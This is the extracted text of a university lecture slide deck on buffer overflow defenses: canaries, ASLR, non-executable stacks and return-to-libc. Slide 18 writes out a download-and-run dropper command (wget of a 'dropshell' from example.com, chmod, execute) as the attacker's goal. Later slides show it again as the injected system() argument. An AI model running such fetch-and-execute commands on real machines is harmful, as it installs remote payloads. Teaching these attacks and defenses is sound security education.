buffer overflow defenses countermeasures
play

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 - PowerPoint PPT Presentation

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess the raw address)


  1. BUFFER OVERFLOW 
 DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018

  2. RECALL OUR CHALLENGES How can we make these even more difficult? • Putting code into the memory (no zeroes) 
 • Finding the return address (guess the raw address) 
 • Getting %eip to point to our code (dist buff to stored eip)

  3. DETECTING OVERFLOWS WITH CANARIES %eip text ... %eip &arg1 %ebp 00 00 00 00 … buffer

  4. DETECTING OVERFLOWS WITH CANARIES %eip text ... %eip &arg1 %ebp 00 00 00 00 … buffer

  5. DETECTING OVERFLOWS WITH CANARIES %eip text ... %eip &arg1 %ebp 00 00 00 00 02 8d e2 10 … buffer canary

  6. DETECTING OVERFLOWS WITH CANARIES %eip text ... %eip &arg1 %ebp 0xbdf 00 00 00 00 02 8d e2 10 \x0f \x3c \x2f ... … nop nop nop … buffer canary

  7. DETECTING OVERFLOWS WITH CANARIES %eip text ... %eip &arg1 %ebp 0xbdf 00 00 00 00 02 8d e2 10 \x0f \x3c \x2f ... … nop nop nop … buffer canary

  8. DETECTING OVERFLOWS WITH CANARIES Not the expected value: abort %eip text ... %eip &arg1 %ebp 0xbdf 00 00 00 00 02 8d e2 10 \x0f \x3c \x2f ... … nop nop nop … buffer canary

  9. DETECTING OVERFLOWS WITH CANARIES Not the expected value: abort %eip text ... %eip &arg1 %ebp 0xbdf 00 00 00 00 02 8d e2 10 \x0f \x3c \x2f ... … nop nop nop … buffer canary What value should the canary have?

  10. CANARY VALUES From StackGuard [Wagle & Cowan] 1. Terminator canaries (CR, LF, NULL, -1) • Leverages the fact that scanf etc. don’t allow these 2. Random canaries • Write a new random value @ each process start • Save the real value somewhere in memory • Must write-protect the stored value 3. Random XOR canaries • Same as random canaries • But store canary XOR some control info, instead

  11. RECALL OUR CHALLENGES How can we make these even more difficult? • Putting code into the memory (no zeroes) 
 Option: Make this detectable with canaries • Finding the return address (guess the raw address) 
 • Getting %eip to point to our code (dist buff to stored eip)

  12. ADDRESS SPACE LAYOUT RANDOMIZATION 4G 0xffffffff Set when 
 cmdline & env process starts int f() { 
 Stack int x; … Runtime Heap malloc(sizeof(long)); Uninit’d data static int x; Known at Init’d data static const int y=10; compile time Text 0 0x00000000 Randomize where exactly these regions start

  13. ADDRESS SPACE LAYOUT RANDOMIZATION Shortcomings of ASLR • Introduces return-to-libc atk • Probes for location of usleep • On 32-bit architectures, 
 only 16 bits of entropy • fork() keeps same offsets

  14. RECALL OUR CHALLENGES How can we make these even more difficult? • Putting code into the memory (no zeroes) 
 Option: Make this detectable with canaries • Finding the return address (guess the raw address) 
 Address Space Layout Randomization ( ASLR ) • Getting %eip to point to our code (dist buff to stored eip)

  15. GETTING %EIP TO POINT TO OUR CODE Recall that all memory has Read, Write, and Execute permissions 4G 0xffffffff cmdline & env Stack Must be 
 But does it 
 readable & 
 need to be 
 writeable executable? Heap Basic idea: 
 Uninit’d data make the stack 
 Init’d data non-executable Must be 
 Text executable 0 0x00000000

  16. RETURN TO LIBC Exploit:

  17. RETURN TO LIBC Exploit: Preferred: strlcpy char buf[4]; 
 strncpy(buf, “hello!”, sizeof(buf)); 
 buf = {‘h’, ‘e’, ‘l’, ‘l’} strlcpy(buf, “hello!”, sizeof(buf)); buf = {‘h’, ‘e’, ‘l’, ‘\0’}

  18. RETURN TO LIBC Exploit: Goal: system(“wget http://www.example.com/dropshell ; 
 chmod +x dropshell ; 
 ./dropshell”); Non-executable stack Challenge: “ system ” already exists somewhere in libc Insight:

  19. RETURN TO LIBC text ... %eip &arg1 %ebp 00 00 00 00 … buffer stack frame %eip

  20. RETURN TO LIBC padding text ... %eip &arg1 %ebp 00 00 00 00 … 0xbdf 0xbdf 0xbdf ... buffer stack frame %eip

  21. RETURN TO LIBC good 
 guess padding text ... %eip &arg1 %ebp 00 00 00 00 … 0xbdf 0xbdf 0xbdf ... buffer stack frame %eip

  22. RETURN TO LIBC good 
 nop sled guess padding text ... %eip &arg1 %ebp 00 00 00 00 … 0xbdf 0xbdf 0xbdf ... nop nop nop … buffer stack frame %eip

  23. RETURN TO LIBC good 
 nop sled guess padding malicious code text ... %eip &arg1 %ebp 00 00 00 00 … \x0f \x3c \x2f ... 0xbdf 0xbdf 0xbdf ... nop nop nop … buffer stack frame %eip

  24. RETURN TO LIBC good 
 nop sled guess padding malicious code text ... %eip &arg1 %ebp 00 00 00 00 … \x0f \x3c \x2f ... 0xbdf 0xbdf 0xbdf ... nop nop nop … buffer stack frame %eip

  25. RETURN TO LIBC good 
 nop sled guess padding malicious code text ... %eip &arg1 %ebp 00 00 00 00 … \x0f \x3c \x2f ... 0xbdf 0xbdf 0xbdf ... nop nop nop … buffer stack frame %eip PANIC: address not executable

  26. RETURN TO LIBC libc ... ... ... usleep() printf() system() text ... %eip &arg1 %ebp 00 00 00 00 … buffer %eip

  27. RETURN TO LIBC libc ... ... ... usleep() printf() system() padding text ... %eip &arg1 %ebp 00 00 00 00 … buffer %eip

  28. RETURN TO LIBC libc ... ... ... usleep() printf() system() padding text ... %eip &arg1 %ebp 00 00 00 00 … buffer %eip

  29. RETURN TO LIBC libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... buffer %eip

  30. RETURN TO LIBC libc ... ... ... usleep() printf() system() How do we guess this address? padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... buffer %eip

  31. RETURN TO LIBC libc ... ... ... usleep() printf() system() How do we guess this address? padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... buffer How do we ensure these are the args? %eip

  32. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... buffer %eip %esp %ebp leave : mov %ebp %esp pop %ebp ret : pop %eip

  33. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... buffer %eip %esp %ebp leave : mov %ebp %esp pop %ebp ret : pop %eip

  34. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF buffer %eip %esp %ebp leave : mov %ebp %esp pop %ebp ret : pop %eip

  35. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF buffer %eip %ebp leave : mov %ebp %esp pop %ebp %esp ret : pop %eip

  36. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF buffer %eip %ebp %esp leave : mov %ebp %esp pop %ebp ret : pop %eip

  37. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF buffer %ebp %eip %esp leave : mov %ebp %esp pop %ebp ret : pop %eip At this point, we can’t reliably access local variables

  38. ARGUMENTS WHEN WE ARE SMASHING %EBP? libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF buffer %ebp %eip %esp leave : mov %ebp %esp pop %ebp ret : pop %eip At this point, we can’t reliably access local variables

  39. ARGUMENTS WHEN WE ARE SMASHING %EBP? %eip system : pushl %ebp movl %esp, %ebp libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF buffer %ebp %esp leave : mov %ebp %esp pop %ebp ret : pop %eip

  40. ARGUMENTS WHEN WE ARE SMASHING %EBP? %eip system : pushl %ebp movl %esp, %ebp libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF DEADBEEF buffer %ebp %esp leave : mov %ebp %esp pop %ebp ret : pop %eip

  41. ARGUMENTS WHEN WE ARE SMASHING %EBP? %eip system : pushl %ebp movl %esp, %ebp libc ... ... ... usleep() printf() system() padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF DEADBEEF buffer %esp %ebp

  42. ARGUMENTS WHEN WE ARE SMASHING %EBP? %eip system : pushl %ebp movl %esp, %ebp libc ... ... ... usleep() printf() system() Will expect args at 8(%ebp) padding arguments text ... %eip &arg1 %ebp 00 00 00 00 … wget example.com/... DEADBEEF DEADBEEF buffer %esp %ebp

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend